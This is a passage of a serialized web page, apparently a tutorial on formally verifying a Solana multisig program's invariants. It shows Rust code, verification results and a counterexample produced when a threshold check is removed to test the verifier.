txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[37790],{"type":25,"tag":264,"props":37791,"children":37792},{"__ignoreMap":7},[37793,37800,37825,37832,37856,37907,37914,37933,37960,37987,38014,38041,38068,38095,38122,38157],{"type":25,"tag":271,"props":37794,"children":37795},{"class":13593,"line":13594},[37796],{"type":25,"tag":271,"props":37797,"children":37798},{"style":13625},[37799],{"type":30,"value":33890},{"type":25,"tag":271,"props":37801,"children":37802},{"class":13593,"line":11641},[37803,37807,37812,37816,37821],{"type":25,"tag":271,"props":37804,"children":37805},{"style":13625},[37806],{"type":30,"value":35937},{"type":25,"tag":271,"props":37808,"children":37809},{"style":13609},[37810],{"type":30,"value":37811},"Clone",{"type":25,"tag":271,"props":37813,"children":37814},{"style":13625},[37815],{"type":30,"value":44},{"type":25,"tag":271,"props":37817,"children":37818},{"style":13609},[37819],{"type":30,"value":37820},"Debug",{"type":25,"tag":271,"props":37822,"children":37823},{"style":13625},[37824],{"type":30,"value":33379},{"type":25,"tag":271,"props":37826,"children":37827},{"class":13593,"line":14354},[37828],{"type":25,"tag":271,"props":37829,"children":37830},{"style":13625},[37831],{"type":30,"value":33898},{"type":25,"tag":271,"props":37833,"children":37834},{"class":13593,"line":14391},[37835,37840,37844,37848,37852],{"type":25,"tag":271,"props":37836,"children":37837},{"style":13625},[37838],{"type":30,"value":37839},"    (self",{"type":25,"tag":271,"props":37841,"children":37842},{"style":13603},[37843],{"type":30,"value":1860},{"type":25,"tag":271,"props":37845,"children":37846},{"style":13625},[37847],{"type":30,"value":34191},{"type":25,"tag":271,"props":37849,"children":37850},{"style":13603},[37851],{"type":30,"value":23067},{"type":25,"tag":271,"props":37853,"children":37854},{"style":13625},[37855],{"type":30,"value":34200},{"type":25,"tag":271,"props":37857,"children":37858},{"class":13593,"line":14400},[37859,37863,37867,37871,37875,37879,37883,37887,37891,37895,37899,37903],{"type":25,"tag":271,"props":37860,"children":37861},{"style":13603},[37862],{"type":30,"value":28743},{"type":25,"tag":271,"props":37864,"children":37865},{"style":13625},[37866],{"type":30,"value":34124},{"type":25,"tag":271,"props":37868,"children":37869},{"style":13603},[37870],{"type":30,"value":1860},{"type":25,"tag":271,"props":37872,"children":37873},{"style":13625},[37874],{"type":30,"value":34191},{"type":25,"tag":271,"props":37876,"children":37877},{"style":14289},[37878],{"type":30,"value":21962},{"type":25,"tag":271,"props":37880,"children":37881},{"style":13609},[37882],{"type":30,"value":26854},{"type":25,"tag":271,"props":37884,"children":37885},{"style":13603},[37886],{"type":30,"value":21318},{"type":25,"tag":271,"props":37888,"children":37889},{"style":13625},[37890],{"type":30,"value":26918},{"type":25,"tag":271,"props":37892,"children":37893},{"style":13603},[37894],{"type":30,"value":1860},{"type":25,"tag":271,"props":37896,"children":37897},{"style":13625},[37898],{"type":30,"value":34103},{"type":25,"tag":271,"props":37900,"children":37901},{"style":13603},[37902],{"type":30,"value":1860},{"type":25,"tag":271,"props":37904,"children":37905},{"style":13625},[37906],{"type":30,"value":34252},{"type":25,"tag":271,"props":37908,"children":37909},{"class":13593,"line":16406},[37910],{"type":25,"tag":271,"props":37911,"children":37912},{"style":13625},[37913],{"type":30,"value":33379},{"type":25,"tag":271,"props":37915,"children":37916},{"class":13593,"line":16434},[37917,37921,37925,37929],{"type":25,"tag":271,"props":37918,"children":37919},{"style":14289},[37920],{"type":30,"value":14292},{"type":25,"tag":271,"props":37922,"children":37923},{"style":14289},[37924],{"type":30,"value":34271},{"type":25,"tag":271,"props":37926,"children":37927},{"style":13609},[37928],{"type":30,"value":34276},{"type":25,"tag":271,"props":37930,"children":37931},{"style":13625},[37932],{"type":30,"value":16431},{"type":25,"tag":271,"props":37934,"children":37935},{"class":13593,"line":16447},[37936,37940,37944,37948,37952,37956],{"type":25,"tag":271,"props":37937,"children":37938},{"style":14289},[37939],{"type":30,"value":33963},{"type":25,"tag":271,"props":37941,"children":37942},{"style":13598},[37943],{"type":30,"value":34292},{"type":25,"tag":271,"props":37945,"children":37946},{"style":13603},[37947],{"type":30,"value":359},{"type":25,"tag":271,"props":37949,"children":37950},{"style":13609},[37951],{"type":30,"value":34150},{"type":25,"tag":271,"props":37953,"children":37954},{"style":13625},[37955],{"type":30,"value":34305},{"type":25,"tag":271,"props":37957,"children":37958},{"style":14385},[37959],{"type":30,"value":34310},{"type":25,"tag":271,"props":37961,"children":37962},{"class":13593,"line":16465},[37963,37967,37971,37975,37979,37983],{"type":25,"tag":271,"props":37964,"children":37965},{"style":14289},[37966],{"type":30,"value":33963},{"type":25,"tag":271,"props":37968,"children":37969},{"style":13598},[37970],{"type":30,"value":34322},{"type":25,"tag":271,"props":37972,"children":37973},{"style":13603},[37974],{"type":30,"value":359},{"type":25,"tag":271,"props":37976,"children":37977},{"style":13609},[37978],{"type":30,"value":34150},{"type":25,"tag":271,"props":37980,"children":37981},{"style":13625},[37982],{"type":30,"value":34335},{"type":25,"tag":271,"props":37984,"children":37985},{"style":14385},[37986],{"type":30,"value":34340},{"type":25,"tag":271,"props":37988,"children":37989},{"class":13593,"line":16486},[37990,37994,37998,38002,38006,38010],{"type":25,"tag":271,"props":37991,"children":37992},{"style":14289},[37993],{"type":30,"value":33963},{"type":25,"tag":271,"props":37995,"children":37996},{"style":13598},[37997],{"type":30,"value":34352},{"type":25,"tag":271,"props":37999,"children":38000},{"style":13603},[38001],{"type":30,"value":359},{"type":25,"tag":271,"props":38003,"children":38004},{"style":13609},[38005],{"type":30,"value":30671},{"type":25,"tag":271,"props":38007,"children":38008},{"style":13625},[38009],{"type":30,"value":34365},{"type":25,"tag":271,"props":38011,"children":38012},{"style":14385},[38013],{"type":30,"value":34370},{"type":25,"tag":271,"props":38015,"children":38016},{"class":13593,"line":16495},[38017,38021,38025,38029,38033,38037],{"type":25,"tag":271,"props":38018,"children":38019},{"style":14289},[38020],{"type":30,"value":33963},{"type":25,"tag":271,"props":38022,"children":38023},{"style":13598},[38024],{"type":30,"value":34382},{"type":25,"tag":271,"props":38026,"children":38027},{"style":13603},[38028],{"type":30,"value":359},{"type":25,"tag":271,"props":38030,"children":38031},{"style":13609},[38032],{"type":30,"value":30671},{"type":25,"tag":271,"props":38034,"children":38035},{"style":13625},[38036],{"type":30,"value":34335},{"type":25,"tag":271,"props":38038,"children":38039},{"style":14385},[38040],{"type":30,"value":34399},{"type":25,"tag":271,"props":38042,"children":38043},{"class":13593,"line":16744},[38044,38048,38052,38056,38060,38064],{"type":25,"tag":271,"props":38045,"children":38046},{"style":14289},[38047],{"type":30,"value":33963},{"type":25,"tag":271,"props":38049,"children":38050},{"style":13598},[38051],{"type":30,"value":34411},{"type":25,"tag":271,"props":38053,"children":38054},{"style":13603},[38055],{"type":30,"value":359},{"type":25,"tag":271,"props":38057,"children":38058},{"style":13609},[38059],{"type":30,"value":27755},{"type":25,"tag":271,"props":38061,"children":38062},{"style":13625},[38063],{"type":30,"value":34424},{"type":25,"tag":271,"props":38065,"children":38066},{"style":14385},[38067],{"type":30,"value":34429},{"type":25,"tag":271,"props":38069,"children":38070},{"class":13593,"line":16761},[38071,38075,38079,38083,38087,38091],{"type":25,"tag":271,"props":38072,"children":38073},{"style":14289},[38074],{"type":30,"value":33963},{"type":25,"tag":271,"props":38076,"children":38077},{"style":13598},[38078],{"type":30,"value":34441},{"type":25,"tag":271,"props":38080,"children":38081},{"style":13603},[38082],{"type":30,"value":359},{"type":25,"tag":271,"props":38084,"children":38085},{"style":13609},[38086],{"type":30,"value":33977},{"type":25,"tag":271,"props":38088,"children":38089},{"style":13625},[38090],{"type":30,"value":34454},{"type":25,"tag":271,"props":38092,"children":38093},{"style":14385},[38094],{"type":30,"value":34459},{"type":25,"tag":271,"props":38096,"children":38097},{"class":13593,"line":16778},[38098,38102,38106,38110,38114,38118],{"type":25,"tag":271,"props":38099,"children":38100},{"style":14289},[38101],{"type":30,"value":33963},{"type":25,"tag":271,"props":38103,"children":38104},{"style":13598},[38105],{"type":30,"value":34471},{"type":25,"tag":271,"props":38107,"children":38108},{"style":13603},[38109],{"type":30,"value":359},{"type":25,"tag":271,"props":38111,"children":38112},{"style":13609},[38113],{"type":30,"value":25175},{"type":25,"tag":271,"props":38115,"children":38116},{"style":13625},[38117],{"type":30,"value":44},{"type":25,"tag":271,"props":38119,"children":38120},{"style":14385},[38121],{"type":30,"value":34488},{"type":25,"tag":271,"props":38123,"children":38124},{"class":13593,"line":16791},[38125,38129,38133,38137,38141,38145,38149,38153],{"type":25,"tag":271,"props":38126,"children":38127},{"style":14289},[38128],{"type":30,"value":33963},{"type":25,"tag":271,"props":38130,"children":38131},{"style":13598},[38132],{"type":30,"value":34500},{"type":25,"tag":271,"props":38134,"children":38135},{"style":13603},[38136],{"type":30,"value":359},{"type":25,"tag":271,"props":38138,"children":38139},{"style":13609},[38140],{"type":30,"value":34509},{"type":25,"tag":271,"props":38142,"children":38143},{"style":13625},[38144],{"type":30,"value":14307},{"type":25,"tag":271,"props":38146,"children":38147},{"style":13609},[38148],{"type":30,"value":34518},{"type":25,"tag":271,"props":38150,"children":38151},{"style":13625},[38152],{"type":30,"value":34523},{"type":25,"tag":271,"props":38154,"children":38155},{"style":14385},[38156],{"type":30,"value":34528},{"type":25,"tag":271,"props":38158,"children":38159},{"class":13593,"line":16800},[38160],{"type":25,"tag":271,"props":38161,"children":38162},{"style":13625},[38163],{"type":30,"value":17058},{"type":25,"tag":26,"props":38165,"children":38166},{},[38167,38169,38174],{"type":30,"value":38168},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":25,"tag":264,"props":38170,"children":38172},{"className":38171},[],[38173],{"type":30,"value":35841},{"type":30,"value":38175}," object will be checked to ensure that the invariant still holds after modification.",{"type":25,"tag":26,"props":38177,"children":38178},{},[38179,38181,38186],{"type":30,"value":38180},"Let's try this on the ",{"type":25,"tag":264,"props":38182,"children":38184},{"className":38183},[],[38185],{"type":30,"value":35920},{"type":30,"value":38187}," instruction that we've already seen:",{"type":25,"tag":7764,"props":38189,"children":38191},{"code":38190},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[38192],{"type":25,"tag":264,"props":38193,"children":38194},{"__ignoreMap":7},[38195],{"type":30,"value":38190},{"type":25,"tag":26,"props":38197,"children":38198},{},[38199,38201,38206],{"type":30,"value":38200},"To ensure this is working, we can test by commenting out this check from ",{"type":25,"tag":264,"props":38202,"children":38204},{"className":38203},[],[38205],{"type":30,"value":35920},{"type":30,"value":359},{"type":25,"tag":7764,"props":38208,"children":38210},{"code":38209,"language":13585,"meta":7,"className":13586,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[38211],{"type":25,"tag":264,"props":38212,"children":38213},{"__ignoreMap":7},[38214,38222,38230],{"type":25,"tag":271,"props":38215,"children":38216},{"class":13593,"line":13594},[38217],{"type":25,"tag":271,"props":38218,"children":38219},{"style":14385},[38220],{"type":30,"value":38221},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":25,"tag":271,"props":38223,"children":38224},{"class":13593,"line":11641},[38225],{"type":25,"tag":271,"props":38226,"children":38227},{"style":14385},[38228],{"type":30,"value":38229},"//     return err!(MsError::InvalidThreshold);\n",{"type":25,"tag":271,"props":38231,"children":38232},{"class":13593,"line":14354},[38233],{"type":25,"tag":271,"props":38234,"children":38235},{"style":14385},[38236],{"type":30,"value":38237},"// }\n",{"type":25,"tag":26,"props":38239,"children":38240},{},[38241],{"type":30,"value":38242},"And run again:",{"type":25,"tag":7764,"props":38244,"children":38246},{"code":38245},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[38247],{"type":25,"tag":264,"props":38248,"children":38249},{"__ignoreMap":7},[38250],{"type":30,"value":38245},{"type":25,"tag":26,"props":38252,"children":38253},{},[38254],{"type":30,"value":38255},"We get the following counterexample:",{"type":25,"tag":7764,"props":38257,"children":38259},{"code":38258,"language":13585,"meta":7,"className":13586,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[38260],{"type":25,"tag":264,"props":38261,"children":38262},{"__ignoreMap":7},[38263,38274,38294,38314,38334,38354,38374,38394,38414,38434,38455,38476,38484,38492,38522],{"type":25,"tag":271,"props":38264,"children":38265},{"class":13593,"line":13594},[38266,38270],{"type":25,"tag":271,"props":38267,"children":38268},{"style":13609},[38269],{"type":30,"value":30268},{"type":25,"tag":271,"props":38271,"children":38272},{"style":13625},[38273],{"type":30,"value":16431},{"type":25,"tag":271,"props":38275,"children":38276},{"class":13593,"line":11641},[38277,38282,38286,38290],{"type":25,"tag":271,"props":38278,"children":38279},{"style":13598},[38280],{"type":30,"value":38281},"    account",{"type":25,"tag":271,"props":38283,"children":38284},{"style":13603},[38285],{"type":30,"value":359},{"type":25,"tag":271,"props":38287,"children":38288},{"style":13609},[38289],{"type":30,"value":34276},{"type":25,"tag":271,"props":38291,"children":38292},{"style":13625},[38293],{"type":30,"value":16431},{"type":25,"tag":271,"props":38295,"children":38296},{"class":13593,"line":14354},[38297,38301,38305,38310],{"type":25,"tag":271,"props":38298,"children":38299},{"style":13598},[38300],{"type":30,"value":36936},{"type":25,"tag":271,"props":38302,"children":38303},{"style":13603},[38304],{"type":30,"value":359},{"type":25,"tag":271,"props":38306,"children":38307},{"style":16187},[38308],{"type":30,"value":38309}," 32768",{"type":25,"tag":271,"props":38311,"children":38312},{"style":13625},[38313],{"type":30,"value":14351},{"type":25,"tag":271,"props":38315,"children":38316},{"class":13593,"line":14391},[38317,38322,38326,38330],{"type":25,"tag":271,"props":38318,"children":38319},{"style":13598},[38320],{"type":30,"value":38321},"        authority_index",{"type":25,"tag":271,"props":38323,"children":38324},{"style":13603},[38325],{"type":30,"value":359},{"type":25,"tag":271,"props":38327,"children":38328},{"style":16187},[38329],{"type":30,"value":17654},{"type":25,"tag":271,"props":38331,"children":38332},{"style":13625},[38333],{"type":30,"value":14351},{"type":25,"tag":271,"props":38335,"children":38336},{"class":13593,"line":14400},[38337,38342,38346,38350],{"type":25,"tag":271,"props":38338,"children":38339},{"style":13598},[38340],{"type":30,"value":38341},"        transaction_index",{"type":25,"tag":271,"props":38343,"children":38344},{"style":13603},[38345],{"type":30,"value":359},{"type":25,"tag":271,"props":38347,"children":38348},{"style":16187},[38349],{"type":30,"value":16190},{"type":25,"tag":271,"props":38351,"children":38352},{"style":13625},[38353],{"type":30,"value":14351},{"type":25,"tag":271,"props":38355,"children":38356},{"class":13593,"line":16406},[38357,38362,38366,38370],{"type":25,"tag":271,"props":38358,"children":38359},{"style":13598},[38360],{"type":30,"value":38361},"        ms_change_index",{"type":25,"tag":271,"props":38363,"children":38364},{"style":13603},[38365],{"type":30,"value":359},{"type":25,"tag":271,"props":38367,"children":38368},{"style":16187},[38369],{"type":30,"value":16190},{"type":25,"tag":271,"props":38371,"children":38372},{"style":13625},[38373],{"type":30,"value":14351},{"type":25,"tag":271,"props":38375,"children":38376},{"class":13593,"line":16434},[38377,38382,38386,38390],{"type":25,"tag":271,"props":38378,"children":38379},{"style":13598},[38380],{"type":30,"value":38381},"        bump",{"type":25,"tag":271,"props":38383,"children":38384},{"style":13603},[38385],{"type":30,"value":359},{"type":25,"tag":271,"props":38387,"children":38388},{"style":16187},[38389],{"type":30,"value":16190},{"type":25,"tag":271,"props":38391,"children":38392},{"style":13625},[38393],{"type":30,"value":14351},{"type":25,"tag":271,"props":38395,"children":38396},{"class":13593,"line":16447},[38397,38401,38405,38410],{"type":25,"tag":271,"props":38398,"children":38399},{"style":13598},[38400],{"type":30,"value":36949},{"type":25,"tag":271,"props":38402,"children":38403},{"style":13603},[38404],{"type":30,"value":359},{"type":25,"tag":271,"props":38406,"children":38407},{"style":13603},[38408],{"type":30,"value":38409}," ...",{"type":25,"tag":271,"props":38411,"children":38412},{"style":13625},[38413],{"type":30,"value":14351},{"type":25,"tag":271,"props":38415,"children":38416},{"class":13593,"line":16465},[38417,38422,38426,38430],{"type":25,"tag":271,"props":38418,"children":38419},{"style":13598},[38420],{"type":30,"value":38421},"        allow_external_execute",{"type":25,"tag":271,"props":38423,"children":38424},{"style":13603},[38425],{"type":30,"value":359},{"type":25,"tag":271,"props":38427,"children":38428},{"style":14289},[38429],{"type":30,"value":22179},{"type":25,"tag":271,"props":38431,"children":38432},{"style":13625},[38433],{"type":30,"value":14351},{"type":25,"tag":271,"props":38435,"children":38436},{"class":13593,"line":16486},[38437,38442,38446,38451],{"type":25,"tag":271,"props":38438,"children":38439},{"style":13598},[38440],{"type":30,"value":38441},"        keys",{"type":25,"tag":271,"props":38443,"children":38444},{"style":13603},[38445],{"type":30,"value":359},{"type":25,"tag":271,"props":38447,"children":38448},{"style":13609},[38449],{"type":30,"value":38450}," SparseVec",{"type":25,"tag":271,"props":38452,"children":38453},{"style":13625},[38454],{"type":30,"value":16431},{"type":25,"tag":271,"props":38456,"children":38457},{"class":13593,"line":16495},[38458,38463,38467,38472],{"type":25,"tag":271,"props":38459,"children":38460},{"style":13598},[38461],{"type":30,"value":38462},"            size",{"type":25,"tag":271,"props":38464,"children":38465},{"style":13603},[38466],{"type":30,"value":359},{"type":25,"tag":271,"props":38468,"children":38469},{"style":16187},[38470],{"type":30,"value":38471}," 5112",{"type":25,"tag":271,"props":38473,"children":38474},{"style":13625},[38475],{"type":30,"value":14351},{"type":25,"tag":271,"props":38477,"children":38478},{"class":13593,"line":16744},[38479],{"type":25,"tag":271,"props":38480,"children":38481},{"style":13625},[38482],{"type":30,"value":38483},"        },\n",{"type":25,"tag":271,"props":38485,"children":38486},{"class":13593,"line":16761},[38487],{"type":25,"tag":271,"props":38488,"children":38489},{"style":13625},[38490],{"type":30,"value":38491},"    },\n",{"type":25,"tag":271,"props":38493,"children":38494},{"class":13593,"line":16778},[38495,38500,38504,38509,38513,38517],{"type":25,"tag":271,"props":38496,"children":38497},{"style":13598},[38498],{"type":30,"value":38499},"    info",{"type":25,"tag":271,"props":38501,"children":38502},{"style":13603},[38503],{"type":30,"value":359},{"type":25,"tag":271,"props":38505,"children":38506},{"style":13609},[38507],{"type":30,"value":38508}," AccountInfo",{"type":25,"tag":271,"props":38510,"children":38511},{"style":13625},[38512],{"type":30,"value":22709},{"type":25,"tag":271,"props":38514,"children":38515},{"style":13603},[38516],{"type":30,"value":22714},{"type":25,"tag":271,"props":38518,"children":38519},{"style":13625},[38520],{"type":30,"value":38521}," },\n",{"type":25,"tag":271,"props":38523,"children":38524},{"class":13593,"line":16791},[38525],{"type":25,"tag":271,"props":38526,"children":38527},{"style":13625},[38528],{"type":30,"value":17058},{"type":25,"tag":26,"props":38530,"children":38531},{},[38532,38534,38539,38541,38546],{"type":30,"value":38533},"Here we see that the ",{"type":25,"tag":264,"props":38535,"children":38537},{"className":38536},[],[38538],{"type":30,"value":35849},{"type":30,"value":38540}," of the newly created ",{"type":25,"tag":264,"props":38542,"children":38544},{"className":38543},[],[38545],{"type":30,"value":35841},{"type":30,"value":38547}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":25,"tag":247,"props":38549,"children":38551},{"id":38550},"verify-requirements-to-remove-a-member",[38552],{"type":30,"value":35879},{"type":25,"tag":26,"props":38554,"children":38555},{},[38556,38558,38563,38564,38569,38571,38577],{"type":30,"value":38557},"Now that we've seen both ",{"type":25,"tag":264,"props":38559,"children":38561},{"className":38560},[],[38562],{"type":30,"value":33275},{"type":30,"value":12218},{"type":25,"tag":264,"props":38565,"children":38567},{"className":38566},[],[38568],{"type":30,"value":34879},{"type":30,"value":38570}," let's take a look at the ",{"type":25,"tag":264,"props":38572,"children":38574},{"className":38573},[],[38575],{"type":30,"value":38576},"remove_member",{"type":30,"value":38578}," function:",{"type":25,"tag":7764,"props":38580,"children":38582},{"code":38581,"language":13585,"meta":7,"className":13586,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[38583],{"type":25,"tag":264,"props":38584,"children":38585},{"__ignoreMap":7},[38586,38609,38637,38652,38697,38704,38716,38732,38744,38770,38778,38807,38814,38846,38853,38860,38934,38942,39002,39034,39041,39092,39099,39107,39200,39289,39343,39350,39395,39440],{"type":25,"tag":271,"props":38587,"children":38588},{"class":13593,"line":13594},[38589,38593,38597,38601,38605],{"type":25,"tag":271,"props":38590,"children":38591},{"style":13625},[38592],{"type":30,"value":35937},{"type":25,"tag":271,"props":38594,"children":38595},{"style":13609},[38596],{"type":30,"value":35942},{"type":25,"tag":271,"props":38598,"children":38599},{"style":13625},[38600],{"type":30,"value":44},{"type":25,"tag":271,"props":38602,"children":38603},{"style":13609},[38604],{"type":30,"value":37820},{"type":25,"tag":271,"props":38606,"children":38607},{"style":13625},[38608],{"type":30,"value":33379},{"type":25,"tag":271,"props":38610,"children":38611},{"class":13593,"line":11641},[38612,38616,38620,38625,38629,38633],{"type":25,"tag":271,"props":38613,"children":38614},{"style":14289},[38615],{"type":30,"value":14292},{"type":25,"tag":271,"props":38617,"children":38618},{"style":14289},[38619],{"type":30,"value":34271},{"type":25,"tag":271,"props":38621,"children":38622},{"style":13609},[38623],{"type":30,"value":38624}," MsAuth",{"type":25,"tag":271,"props":38626,"children":38627},{"style":13625},[38628],{"type":30,"value":36022},{"type":25,"tag":271,"props":38630,"children":38631},{"style":13609},[38632],{"type":30,"value":36027},{"type":25,"tag":271,"props":38634,"children":38635},{"style":13625},[38636],{"type":30,"value":20404},{"type":25,"tag":271,"props":38638,"children":38639},{"class":13593,"line":14354},[38640,38644,38648],{"type":25,"tag":271,"props":38641,"children":38642},{"style":13625},[38643],{"type":30,"value":36229},{"type":25,"tag":271,"props":38645,"children":38646},{"style":14289},[38647],{"type":30,"value":16877},{"type":25,"tag":271,"props":38649,"children":38650},{"style":13625},[38651],{"type":30,"value":33379},{"type":25,"tag":271,"props":38653,"children":38654},{"class":13593,"line":14391},[38655,38660,38664,38669,38673,38677,38681,38685,38689,38693],{"type":25,"tag":271,"props":38656,"children":38657},{"style":13598},[38658],{"type":30,"value":38659},"    multisig",{"type":25,"tag":271,"props":38661,"children":38662},{"style":13603},[38663],{"type":30,"value":359},{"type":25,"tag":271,"props":38665,"children":38666},{"style":13609},[38667],{"type":30,"value":38668}," Box",{"type":25,"tag":271,"props":38670,"children":38671},{"style":13625},[38672],{"type":30,"value":14307},{"type":25,"tag":271,"props":38674,"children":38675},{"style":13609},[38676],{"type":30,"value":30268},{"type":25,"tag":271,"props":38678,"children":38679},{"style":13625},[38680],{"type":30,"value":36022},{"type":25,"tag":271,"props":38682,"children":38683},{"style":13609},[38684],{"type":30,"value":36027},{"type":25,"tag":271,"props":38686,"children":38687},{"style":13625},[38688],{"type":30,"value":44},{"type":25,"tag":271,"props":38690,"children":38691},{"style":13609},[38692],{"type":30,"value":35841},{"type":25,"tag":271,"props":38694,"children":38695},{"style":13625},[38696],{"type":30,"value":20075},{"type":25,"tag":271,"props":38698,"children":38699},{"class":13593,"line":14400},[38700],{"type":25,"tag":271,"props":38701,"children":38702},{"style":13625},[38703],{"type":30,"value":36039},{"type":25,"tag":271,"props":38705,"children":38706},{"class":13593,"line":16406},[38707,38712],{"type":25,"tag":271,"props":38708,"children":38709},{"style":14289},[38710],{"type":30,"value":38711},"        mut",{"type":25,"tag":271,"props":38713,"children":38714},{"style":13625},[38715],{"type":30,"value":14351},{"type":25,"tag":271,"props":38717,"children":38718},{"class":13593,"line":16434},[38719,38723,38727],{"type":25,"tag":271,"props":38720,"children":38721},{"style":13625},[38722],{"type":30,"value":36123},{"type":25,"tag":271,"props":38724,"children":38725},{"style":13603},[38726],{"type":30,"value":1065},{"type":25,"tag":271,"props":38728,"children":38729},{"style":13625},[38730],{"type":30,"value":38731}," [\n",{"type":25,"tag":271,"props":38733,"children":38734},{"class":13593,"line":16447},[38735,38740],{"type":25,"tag":271,"props":38736,"children":38737},{"style":17388},[38738],{"type":30,"value":38739},"            b\"squad\"",{"type":25,"tag":271,"props":38741,"children":38742},{"style":13625},[38743],{"type":30,"value":14351},{"type":25,"tag":271,"props":38745,"children":38746},{"class":13593,"line":16465},[38747,38752,38756,38761,38765],{"type":25,"tag":271,"props":38748,"children":38749},{"style":13625},[38750],{"type":30,"value":38751},"            multisig",{"type":25,"tag":271,"props":38753,"children":38754},{"style":13603},[38755],{"type":30,"value":1860},{"type":25,"tag":271,"props":38757,"children":38758},{"style":13625},[38759],{"type":30,"value":38760},"create_key",{"type":25,"tag":271,"props":38762,"children":38763},{"style":13603},[38764],{"type":30,"value":1860},{"type":25,"tag":271,"props":38766,"children":38767},{"style":13625},[38768],{"type":30,"value":38769},"as_ref(),\n",{"type":25,"tag":271,"props":38771,"children":38772},{"class":13593,"line":16486},[38773],{"type":25,"tag":271,"props":38774,"children":38775},{"style":17388},[38776],{"type":30,"value":38777},"            b\"multisig\"\n",{"type":25,"tag":271,"props":38779,"children":38780},{"class":13593,"line":16495},[38781,38786,38791,38795,38799,38803],{"type":25,"tag":271,"props":38782,"children":38783},{"style":13625},[38784],{"type":30,"value":38785},"        ], ",{"type":25,"tag":271,"props":38787,"children":38788},{"style":13598},[38789],{"type":30,"value":38790},"bump",{"type":25,"tag":271,"props":38792,"children":38793},{"style":13603},[38794],{"type":30,"value":16155},{"type":25,"tag":271,"props":38796,"children":38797},{"style":13598},[38798],{"type":30,"value":36185},{"type":25,"tag":271,"props":38800,"children":38801},{"style":13603},[38802],{"type":30,"value":1860},{"type":25,"tag":271,"props":38804,"children":38805},{"style":13625},[38806],{"type":30,"value":36165},{"type":25,"tag":271,"props":38808,"children":38809},{"class":13593,"line":16744},[38810],{"type":25,"tag":271,"props":38811,"children":38812},{"style":13625},[38813],{"type":30,"value":36173},{"type":25,"tag":271,"props":38815,"children":38816},{"class":13593,"line":16761},[38817,38821,38826,38830,38834,38838,38842],{"type":25,"tag":271,"props":38818,"children":38819},{"style":14289},[38820],{"type":30,"value":33963},{"type":25,"tag":271,"props":38822,"children":38823},{"style":13598},[38824],{"type":30,"value":38825}," multisig_auth",{"type":25,"tag":271,"props":38827,"children":38828},{"style":13603},[38829],{"type":30,"value":359},{"type":25,"tag":271,"props":38831,"children":38832},{"style":13609},[38833],{"type":30,"value":36258},{"type":25,"tag":271,"props":38835,"children":38836},{"style":13625},[38837],{"type":30,"value":36022},{"type":25,"tag":271,"props":38839,"children":38840},{"style":13609},[38841],{"type":30,"value":36027},{"type":25,"tag":271,"props":38843,"children":38844},{"style":13625},[38845],{"type":30,"value":19267},{"type":25,"tag":271,"props":38847,"children":38848},{"class":13593,"line":16778},[38849],{"type":25,"tag":271,"props":38850,"children":38851},{"style":13625},[38852],{"type":30,"value":17058},{"type":25,"tag":271,"props":38854,"children":38855},{"class":13593,"line":16791},[38856],{"type":25,"tag":271,"props":38857,"children":38858},{"emptyLinePlaceholder":18},[38859],{"type":30,"value":16829},{"type":25,"tag":271,"props":38861,"children":38862},{"class":13593,"line":16800},[38863,38867,38871,38876,38880,38884,38888,38892,38896,38901,38905,38910,38914,38918,38922,38926,38930],{"type":25,"tag":271,"props":38864,"children":38865},{"style":14289},[38866],{"type":30,"value":14292},{"type":25,"tag":271,"props":38868,"children":38869},{"style":14289},[38870],{"type":30,"value":14297},{"type":25,"tag":271,"props":38872,"children":38873},{"style":13620},[38874],{"type":30,"value":38875}," remove_member",{"type":25,"tag":271,"props":38877,"children":38878},{"style":13625},[38879],{"type":30,"value":394},{"type":25,"tag":271,"props":38881,"children":38882},{"style":13598},[38883],{"type":30,"value":33401},{"type":25,"tag":271,"props":38885,"children":38886},{"style":13603},[38887],{"type":30,"value":359},{"type":25,"tag":271,"props":38889,"children":38890},{"style":13609},[38891],{"type":30,"value":33410},{"type":25,"tag":271,"props":38893,"children":38894},{"style":13625},[38895],{"type":30,"value":14307},{"type":25,"tag":271,"props":38897,"children":38898},{"style":13609},[38899],{"type":30,"value":38900},"MsAuth",{"type":25,"tag":271,"props":38902,"children":38903},{"style":13625},[38904],{"type":30,"value":14438},{"type":25,"tag":271,"props":38906,"children":38907},{"style":13598},[38908],{"type":30,"value":38909},"old_member",{"type":25,"tag":271,"props":38911,"children":38912},{"style":13603},[38913],{"type":30,"value":359},{"type":25,"tag":271,"props":38915,"children":38916},{"style":13609},[38917],{"type":30,"value":33977},{"type":25,"tag":271,"props":38919,"children":38920},{"style":13625},[38921],{"type":30,"value":14406},{"type":25,"tag":271,"props":38923,"children":38924},{"style":13603},[38925],{"type":30,"value":14411},{"type":25,"tag":271,"props":38927,"children":38928},{"style":13609},[38929],{"type":30,"value":14416},{"